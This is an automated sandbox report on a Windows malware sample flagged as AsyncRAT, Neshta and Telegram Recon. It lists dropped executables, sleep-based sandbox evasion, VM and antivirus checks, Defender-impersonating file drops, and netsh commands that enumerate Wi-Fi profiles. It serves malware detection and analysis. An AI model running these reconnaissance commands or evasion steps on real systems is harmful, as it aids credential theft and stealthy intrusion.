Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -599594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -599468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -599359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -599250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -599138s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -599031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598805s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -596891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -596554s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -596219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -596094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -595866s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -595641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -595516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99544s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99327s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe TID: 3504	Thread sleep time: -99000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599138	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598805	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596554	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595866	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99327	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 99000	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior

Source: LisectAVT_2403002B_4.exe.0.dr	Binary or memory string: vmware
Source: LisectAVT_2403002B_4.exe, 00000000.00000002.2500221531.0000000000592000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _VMware_
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows_
Source: LisectAVT_2403002B_4.exe.0.dr	Binary or memory string: VMwareVBox

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Code function: 1_2_05440B20 LdrInitializeThunk,

1_2_05440B20

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS)

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

Jump to dropped file

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe "C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: AutoIt3_x64.exe.0.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.00000000055A0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Neshta

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.LisectAVT_2403002B_4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2500140385.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\svchost.com, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED
